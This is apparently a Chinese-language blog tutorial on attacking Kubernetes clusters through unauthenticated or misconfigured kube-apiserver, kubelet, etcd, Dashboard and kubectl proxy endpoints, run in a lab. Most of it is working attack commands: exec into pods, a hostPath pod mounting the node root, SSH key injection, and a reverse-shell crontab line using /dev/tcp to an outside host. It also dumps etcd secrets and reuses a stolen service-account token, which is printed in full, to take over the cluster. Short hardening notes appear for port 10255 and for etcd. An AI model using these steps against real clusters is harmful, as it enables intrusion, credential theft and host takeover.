K8S渗透-API配置不当或未鉴权

K8S渗透-API配置不当或未鉴权

0x01 背景知识

容器、容器编排组件 API 配置不当或未鉴权

重点关注如下的服务和端口

kube-apiserver: 6443, 8080
kubectl proxy: 8001
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380

0x02 kube-apiserver

背景知识 - 8080和6443端口

旧版本的k8s的API Server 默认会开启两个端口:8080 和 6443。6443是安全端口,安全端口使用TLS加密;但是8080 端口无需认证,仅用于测试。6443 端口需要认证,且有 TLS 保护。

新版本k8s默认已经不开启8080。需要更改相应的配置,修改/etc/kubernetes/manifests/kube-apiserver.yaml,添加

–insecure-port=8080
–insecure-bind-address=0.0.0.0

重启服务systemctl restart kubelet

在实际环境中,因为8080端口相对比较常见,导致在内部排查常常忽略这个风险点。

8080端口利用过程

高本版不开放8080端口

image

允许匿名

vi /etc/kubernetes/manifests/kube-apiserver.yaml

原先的配置如下

image

修改成如下

image

重启服务systemctl restart kubelet

检测

再访问8080端口,发现就能查看了。

image

利用

通过kubectl获取权限

kubectl -s "http://ip:8080" get pods  
进入容器执行命令
kubectl -s "http://ip:8080" exec pod名称 -n 命名空间 -it -c 容器名称 /bin/sh 

image

后续就可以通过逃逸宿主机获取权限

6443端口利用过程

默认鉴权

6443端口的利用要通过API Server的鉴权,直接访问会提示匿名用户鉴权失败

curl https://192.168.66.10:6443 -k

image

允许匿名

在master中运行下面命令,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

image

检测

然后再访问6443接口,发现匿名用户也能够访问到各个接口。

image

利用cdk工具通过"system:anonymous"匿名账号尝试登录

./cdk_linux_amd64_upx kcurl anonymous get "https://192.168.66.10:6443/api/v1/nodes"

image

利用

生成配置文件然后用kubectl 利用这个漏洞,因为这里是未授权,所以可以创建一个nobody用户,密码为空。

kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://192.168.66.10:6443/  --insecure-skip-tls-verify
kubectl --kubeconfig=./test_config config set-credentials nobody --username=nobody --password=""
kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=nobody
kubectl --kubeconfig=./test_config config use-context test_context

使用上述配置文件,即可轻易地控制对应k8s集群,相当于在master上控制k8s集群

#访问默认namespace下的pods
kubectl --kubeconfig=./test_config  get pods

#进入任意容器rce
kubectl --kubeconfig=./test_config exec pod名称 -n 命名空间 -it -c 容器名称 /bin/sh 
kubectl --kubeconfig=./test_config  exec -it tomcat-deployment-6c8558fd7b-j52qf /bin/bash

image

这个时候只是可以做api-server能做的任何事情,如果想再深入拿到宿主机的shell,就需要容器逃逸。

逃逸获取宿主机权限

接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录,内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image: hub.atguigu.com/library/tomcat:v1
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

然后使用 kubectl 创建容器,这个时候我们发现是无法指定在哪个节点上创建pod。

kubectl --kubeconfig=./test_config create -f test.yaml
kubectl --kubeconfig=./test_config --namespace=default exec -it test bash

image

写入公钥免密登陆

image

因为该pod是在node1下,所以通过私钥可以直接登录node1节点

image

也写入反弹 shell 的定时任务

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab

0x03 Kublet API未授权

背景知识 - 10250, 10255, 4149端口

kubelet是与容器接口进行交互

10250(kubelet API):kubelet server 与 apiserver 通信的端口,定期请求 apiserver 获取自己所应当处理的任务,通过该端口可以访问获取 node 资源以及状态。该端口在最新版Kubernetes是有鉴权的。

4194(cAdvisor 监听):kublet 通过该端口可以获取到该节点的环境信息以及 node 上运行的容器状态等内容,访问 http://localhost:4194 可以看到 cAdvisor 的管理界面,通过 kubelet 的启动参数 --cadvisor-port 可以指定启动的端口。

10255 (readonly API):提供了 pod 和 node 的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权。

image

修改配置,允许未授权

在新版本Kubernetes中当使用以下配置打开匿名访问时便可能存在kubelet未授权访问漏洞:

编辑 /var/lib/kubelet/config.yamlanonymous enabled 修改为true,将 authorization mode 修改为 AlwaysAllow,然后重启服务systemctl restart kubelet

image

image

重启服务systemctl restart kubelet

检测

访问https://IP:10250/pods ,这个pods 接口泄露了kube-system namespace下的所有pods详细信息。

image

image

手工利用

Kubelet API HTTP request Description
/stats GET /stats

GET /stats/summary

GET /stats/summary?only_cpu_and_memory=true

GET /stats/container

GET /stats/{namespace}/{podName}/{uid}/{containerName}

GET /stats/{podName}/{containerName}
Return the performance stats of node, pods and containers
/metrics GET /metrics

GET /metrics/cadvisor

GET /metrics/probes

GET /metrics/resource/v1alpha1
Return information about node CPU and memory usage
/logs GET /logs

GET /logs/{subpath}
Logs from the node
/spec GET /spec Cached MachineInfo returned by cadvisor
/pods GET /pods List of pods
/healthz GET /healthz

GET /healthz/log

GET /healthz/ping

GET /healthz/syncloop
Check the state of the node
/configz GET /configz Kubelet’s configurations
/containerLogs GET /containerLogs/{podNamespace}/{podID}/{containerName} Container’s logs
/run POST /run/{podNamespace}/{podID}/{containerName}
POST /run/{podNamespace}/{podID}/{uid}/{containerName}
* The body of the request:
“cmd={command}”
Example:
“cmd=ls /“
Run command inside a container
/exec GET /exec/{podNamespace}/{podID}/{containerName}?command={command}/&input=1&output=1&tty=1

POST /exec/{podNamespace}//{containerName}?command={command}/&input=1&output=1&tty=1

GET /exec/{podNamespace}/{podID}/{uid}/{containerName}?command={command}/&input=1&output=1&tty=1

POST /exec/{podNamespace}/{podID}/{uid}/{containerName}?command={command}/&input=1&output=1&tty=1
Run command inside a container with option for stream (interactive)
/cri GET /cri/exec/{valueFrom302}?cmd={command} Run commands inside a container through the Container Runtime Interface (CRI)
/attach GET /attach/{podNamespace}/{podID}/{containerName}

POST /attach/{podNamespace}//{containerName}

GET /attach/{podNamespace}/{podID}/{uid}/{containerName}

POST /attach/{podNamespace}/{podID}/{uid}/{containerName}
Attach to a container
/portForward GET /portForward/{podNamespace}/{podID}/{containerName}

POST /portForward/{podNamespace}//{containerName}

GET /portForward/{podNamespace}/{podID}/{uid}/{containerName}

POST /portForward/{podNamespace}/{podID}/{uid}/{containerName}
Port forwarding inside the contianer
/runningpods GET /runningpods List all the running pods
/debug GET /debug/pprof/{profile}

GET /debug/flags/v

PUT /debug/flags/v (body: {integer})

使用curl执行命令

curl -X POST https://192.168.66.10:10250/run/kube-system/kube-proxy-2k6fd/kube-proxy -d "cmd=id" -k
curl -X POST https://192.168.66.10:10250/run/kube-system/kube-proxy-2k6fd/kube-proxy -d "cmd=ip a" -k

image

工具利用

检测RCE漏洞

https://github.com/cyberark/kubeletctl/releases

./kubeletctl_linux_amd64 --server 192.168.66.10 scan rce

+的都是可以执行命令

image

获取交互式命令

./kubeletctl_linux_amd64 --server 192.168.66.10 -p kube-proxy-2k6fd -n kube-system -c kube-proxy exec "/bin/sh"

image

批量执行命令

./kubeletctl_linux_amd64 --server 192.168.66.10 run "uname -a" --all-pods

image

检测Token

./kubeletctl_linux_amd64 --server 192.168.66.10 scan token

image

逃逸

https://192.168.66.10:10250/pods 查看所有pod时,看哪个pod是在特权模式下启动的,然后后续就对该pod进行逃逸获取宿主机权限。

image

如下所示

image

10255端口

kubelet默认会开放10255只读端口,例如:ip:10255/pods,用于查询解点pods信息,但这些信息中会包含环境变量,健康探针,启动钩子等等,这些很多都是敏感信息(Mysql、Redis等各种数据库的账号密码),所以不能对外暴露该只读接口。

利用

搜索关键词”redis,mysql,password”等,如果有redis的密码,则通过主从复制、计划任务、公私钥等方式获取redis服务器的权限

修复方案

参考官网

image

1 kubelet增加启动参数:–read-only-port=0

2 每台节点安全组绕过10255端口

3 对于每台节点设置iptables拒绝10255进来的流量

0x04 ETCD

背景介绍 - 2379端口

是构建一个高可用的分布式键值(key-value)数据库, 用于服务发现、共享配置以及一致性保障等。目前已广泛应用在kubernetes、ROOK、CoreDNS、M3以及openstack等领域。

Etcd比较常见的版本有v2版本和v3版本,v2、v3版本的共同点是共享同一套raft协议代码,不同点是二者为两个独立的应用,互不兼容,其接口、存储都是不相同的。

值得注意的是,Kubernetes集群已经在Kubernetes v1.11中弃用Etcdv2 版本,在新版本的Kubernetes中,Kubernetes采用 Etcd v3存储数据。

  • 启动etcd时,未使用client-cert-auth参数打开证书校验;
  • Etcd 2379端口公网暴露;
  • 由于SSRF漏洞导致Etcd 127.0.0.1:2379 可访问;
  • Etcd cert泄露。

修改配置,允许未授权

默认的配置文件

cat /etc/kubernetes/manifests/etcd.yaml ,此时是开启了证书认证

image

访问时发现需要认证证书

image

修改配置文件,允许未授权

vi /etc/kubernetes/manifests/etcd.yaml


- --listen-client-urls=http://0.0.0.0:2379
- --advertise-client-urls=https://0.0.0.0:2379
- --client-cert-auth=false

image

重启服务systemctl restart kubelet

此时重新访问,发现可以未授权访问了

curl https://192.168.66.10:2379/version -k

image

image

利用

下载工具etcdctl:https://github.com/etcd-io/etcd/releases/

etcd Client API  有v2和v3两个版本,服务器也可能同时支持v2 v3,一般k8s使用v3。

1. 设置全局变量来限定etcd client客户端的版本
Linux: export ETCDCTL_API=3
windows: set ETCDCTL_API=3

2. 可以遍历所有key
./etcdctl --endpoints=http://IP:2379/get/ --prefix --keys-only
如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport    --insecure-skip-tls-verify
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/get/ --prefix --keys-only

3. 获取集群中保存的云产品AK
./etcdctl --endpoints=https://IP:2379/ get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c

设置环境变量

export ETCDCTL_API=3
set ETCDCTL_API=3

image

获取所有的key

如果是http则

./etcdctl --endpoints=http://192.168.66.10:2379/ get / --prefix --keys-only

如果是https则

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.66.10:2379/ get / --prefix --keys-only

image

读取clusterrole获取Kube Apiserver的访问token

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.66.10:2379/ get / --prefix --keys-only  | grep /secrets/kube-system/clusterrole

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.66.10:2379/ get / --prefix --keys-only  | grep secrets

image

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.66.10:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-gfrm2

image

token认证访问Kube Apiserver,使用kubectl接管集群

curl --header "Authorization: Bearer TOKEN" -X GET https://API_SERVER:6443/api -k

curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLWdmcm0yIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI5MjVlMDNlMS0xNmZjLTRiNDUtYmMzYi1kMDkzNTI3ZjQ3YzkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Pvn-Yx-x5gs-egGzvL0Jrh8AecbIYKUC2PvUZ6npuWYOj3Q-szY66mURMrd76eVGpQw9rrvmm7roU6vxRQiniXuy6DP_qkwkkCzozRvfELZoeDzfQWOLvW3pnSN5OLGz72Ls1oGXt9wXRp-2w7ThfHtU-yt6HArQSzDkP4Nq5NCOxHgCaPnNojuezWULKzrdfh3bsZG_gxW4vfHwKXnyCQNs-dIhwO881PzIsOHtORJ6zfkFqhuY8wnik-tYGKEuA1n4Tz0gAUovTNWkYyu_Lz09vU2Tur6dodLe63Nts800q5ahDTr4gzmTQUhGhJWhbtP_AS0Pf-z20OrSkHzt9g" -X GET https://192.168.66.10:6443/api -k


kubectl --insecure-skip-tls-verify -s https://IP:6443/ --token="" get nodes -o wide

kubectl --insecure-skip-tls-verify -s https://192.168.66.10:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLWdmcm0yIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI5MjVlMDNlMS0xNmZjLTRiNDUtYmMzYi1kMDkzNTI3ZjQ3YzkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Pvn-Yx-x5gs-egGzvL0Jrh8AecbIYKUC2PvUZ6npuWYOj3Q-szY66mURMrd76eVGpQw9rrvmm7roU6vxRQiniXuy6DP_qkwkkCzozRvfELZoeDzfQWOLvW3pnSN5OLGz72Ls1oGXt9wXRp-2w7ThfHtU-yt6HArQSzDkP4Nq5NCOxHgCaPnNojuezWULKzrdfh3bsZG_gxW4vfHwKXnyCQNs-dIhwO881PzIsOHtORJ6zfkFqhuY8wnik-tYGKEuA1n4Tz0gAUovTNWkYyu_Lz09vU2Tur6dodLe63Nts800q5ahDTr4gzmTQUhGhJWhbtP_AS0Pf-z20OrSkHzt9g" get nodes -o wide

image

image

通过配置文件控制

touch test_config
kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKEN
kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://IP:6443/  --insecure-skip-tls-verify
kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hacker
kubectl --kubeconfig=./test_config config use-context test_context
kubectl --kubeconfig=./test_config get nodes -A





touch test_config
kubectl --kubeconfig=./test_config2 config set-credentials tony --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLWdmcm0yIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI5MjVlMDNlMS0xNmZjLTRiNDUtYmMzYi1kMDkzNTI3ZjQ3YzkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Pvn-Yx-x5gs-egGzvL0Jrh8AecbIYKUC2PvUZ6npuWYOj3Q-szY66mURMrd76eVGpQw9rrvmm7roU6vxRQiniXuy6DP_qkwkkCzozRvfELZoeDzfQWOLvW3pnSN5OLGz72Ls1oGXt9wXRp-2w7ThfHtU-yt6HArQSzDkP4Nq5NCOxHgCaPnNojuezWULKzrdfh3bsZG_gxW4vfHwKXnyCQNs-dIhwO881PzIsOHtORJ6zfkFqhuY8wnik-tYGKEuA1n4Tz0gAUovTNWkYyu_Lz09vU2Tur6dodLe63Nts800q5ahDTr4gzmTQUhGhJWhbtP_AS0Pf-z20OrSkHzt9g
kubectl --kubeconfig=./test_config2 config set-cluster tony_cluster --server=https://192.168.66.10:6443/  --insecure-skip-tls-verify
kubectl --kubeconfig=./test_config2 config set-context test_context --cluster=tony_cluster --user=tony
kubectl --kubeconfig=./test_config2 config use-context test_context
kubectl --kubeconfig=./test_config2 get nodes -A

image

Etcd防御与加固

通过上文攻击场景介绍,我们提出如下的防护建议用以加固Etcd服务:

在启动Etcd时,使用client-cert-auth参数打开证书校验;

Etcd数据加密存储,确保Etcd数据泄露后无法利用;

正确的配置listen-client-urls参数,防止外网暴露;

尽量避免在Etcd所在的节点上部署Web应用程序,以防通过Web应用漏洞攻击Etcd localhost地址。

0x05 Dashboard未授权访问

背景知识

Kubernetes Dashboard是一个基于Web的Kubernetes用户界面。我们能够获得当前集群中应用运行状态的概览,创建或修改Kubernetes资源,如Deployment、Job、DaemonSet等。我们能够扩展Deployment、执行滚动升级、重启Pod或在部署向导的辅助下部署新应用。其实就是用可视化的形式来做命令行的事。

Dashboard需要配置token才能够访问,

在1.10.0及之前的版本提供了“跳过”(Skip)选项。但从1.10.1版本起,Dashboard默认禁用了“跳过”按钮。

搭建未授权版本的Dashboard

在Harbor服务器上从阿里云拉取1.10.0版本的Dashboard镜像

然后打标签为hub.atguigu.com/library/kubernetes-dashboard-amd64:v1.10.0

push到Harbor上。

docker pull registry.cn-hangzhou.aliyuncs.com/google_containers/kubernetes-dashboard-amd64:v1.10.0
docker tag registry.cn-hangzhou.aliyuncs.com/google_containers/kubernetes-dashboard-amd64:v1.10.0  hub.atguigu.com/library/kubernetes-dashboard-amd64:v1.10.0
docker push hub.atguigu.com/library/kubernetes-dashboard-amd64:v1.10.0

image

可以看到Harbor里已经有了dashboard的镜像,其中V1.10.0存在未授权,V1.10.1不存在未授权

image

下载dashboard的yaml配置文件,修改几处地方

https://raw.githubusercontent.com/kubernetes/dashboard/v1.10.0/src/deploy/recommended/kubernetes-dashboard.yaml

将image改为了hub.atguigu.com/library/kubernetes-dashboard-amd64:v1.10.0,这样就能从本地的Harbor中拉取镜像


修改如下的代码,为了能在node节点的32288端口访问dashboard
spec:
  type: NodePort
  ports:
    - port: 443
      targetPort: 8443
      nodePort: 32288

最终代码如下

# Copyright 2017 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# ------------------- Dashboard Secret ------------------- #

apiVersion: v1
kind: Secret
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard-certs
  namespace: kube-system
type: Opaque

---
# ------------------- Dashboard Service Account ------------------- #

apiVersion: v1
kind: ServiceAccount
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kube-system

---
# ------------------- Dashboard Role & Role Binding ------------------- #

kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: kubernetes-dashboard-minimal
  namespace: kube-system
rules:
  # Allow Dashboard to create 'kubernetes-dashboard-key-holder' secret.
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["create"]
  # Allow Dashboard to create 'kubernetes-dashboard-settings' config map.
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["create"]
  # Allow Dashboard to get, update and delete Dashboard exclusive secrets.
- apiGroups: [""]
  resources: ["secrets"]
  resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs"]
  verbs: ["get", "update", "delete"]
  # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
- apiGroups: [""]
  resources: ["configmaps"]
  resourceNames: ["kubernetes-dashboard-settings"]
  verbs: ["get", "update"]
  # Allow Dashboard to get metrics from heapster.
- apiGroups: [""]
  resources: ["services"]
  resourceNames: ["heapster"]
  verbs: ["proxy"]
- apiGroups: [""]
  resources: ["services/proxy"]
  resourceNames: ["heapster", "http:heapster:", "https:heapster:"]
  verbs: ["get"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: kubernetes-dashboard-minimal
  namespace: kube-system
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: kubernetes-dashboard-minimal
subjects:
- kind: ServiceAccount
  name: kubernetes-dashboard
  namespace: kube-system

---
# ------------------- Dashboard Deployment ------------------- #

kind: Deployment
apiVersion: apps/v1beta2
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kube-system
spec:
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      k8s-app: kubernetes-dashboard
  template:
    metadata:
      labels:
        k8s-app: kubernetes-dashboard
    spec:
      containers:
      - name: kubernetes-dashboard
        image: hub.atguigu.com/library/kubernetes-dashboard-amd64:v1.10.0
        ports:
        - containerPort: 8443
          protocol: TCP
        args:
          - --auto-generate-certificates
          # Uncomment the following line to manually specify Kubernetes API server Host
          # If not specified, Dashboard will attempt to auto discover the API server and connect
          # to it. Uncomment only if the default does not work.
          # - --apiserver-host=http://my-address:port
        volumeMounts:
        - name: kubernetes-dashboard-certs
          mountPath: /certs
          # Create on-disk volume to store exec logs
        - mountPath: /tmp
          name: tmp-volume
        livenessProbe:
          httpGet:
            scheme: HTTPS
            path: /
            port: 8443
          initialDelaySeconds: 30
          timeoutSeconds: 30
      volumes:
      - name: kubernetes-dashboard-certs
        secret:
          secretName: kubernetes-dashboard-certs
      - name: tmp-volume
        emptyDir: {}
      serviceAccountName: kubernetes-dashboard
      # Comment the following tolerations if Dashboard must not be deployed on master
      tolerations:
      - key: node-role.kubernetes.io/master
        effect: NoSchedule

---
# ------------------- Dashboard Service ------------------- #

kind: Service
apiVersion: v1
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kube-system
spec:
  type: NodePort
  ports:
    - port: 443
      targetPort: 8443
      nodePort: 32288
  selector:
    k8s-app: kubernetes-dashboard

image

image

安装dashboard,并查看端口

kubectl create -f kubernetes-dashboard.yaml
kubectl get svc kubernetes-dashboard -n kube-system

image

利用

成功访问到dashboard,可以看到有跳过按钮

image

点击跳过按钮,未授权进入

image

然而通过点击 Skip 进入 dashboard 默认是没有操作集群的权限的,因为 Kubernetes 使用 RBAC(Role-based access control) 机制进行身份认证和权限管理,不同的 serviceaccount 拥有不同的集群权限。

我们点击 Skip 进入 dashboard 实际上使用的是 Kubernetes-dashboard 这个 ServiceAccount,如果此时该 ServiceAccount 没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。

但有些开发者为了方便或者在测试环境中会为 Kubernetes-dashboard 绑定 cluster-admin 这个 ClusterRole(cluster-admin 拥有管理集群的最高权限)。

利用条件有点难,遇到了可以参考https://github.com/neargle/my-re0-k8s-security#74-dashboard

0x06 kubectl proxy 未授权

背景知识

在K8S集群中的业务从外部默认是不能访问的,正式环境中,我们需要通过service, 然后通过Node的ip地址和Loadbanlencer来访问。但是还有一些简单的方式,其中之一就是kubectl proxy。

Kubectl 是管理K8S集群的,可以通过API访问控制单元,进而访问整个K8S集群。 如果想通过浏览器或者curl、wget等直接访问 K8S Rest API, 可以使用kubectl proxy, 他是运行Kubectl的机器和kubernets apiserver之间的一个反向代理。

kubectl proxy 转发的是 apiserver 所有的能力,而且是默认不鉴权的,所以 –address=0.0.0.0 就是极其危险的了。

搭建未授权的环境

开启proxy,默认IP是本地,端口是8001

image

访问本地的8001端口,发现和前面的kube-apiserver一样

image

外部访问发现是拒绝访问的

image

kubectl proxy --address=0.0.0.0 --accept-hosts='^*$'

必须带有accept-hosts ,否则会出现Forbidden 未认证的提示。通过--accept-hosts='^*$' 设置API server接收所有主机的请求

image

成功访问未授权

image

利用

利用方式就和kube-apiserver一样了

kubectl -s http://192.168.66.10:8001 get pods -o wide

image


   转载规则


《K8S渗透-API配置不当或未鉴权》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。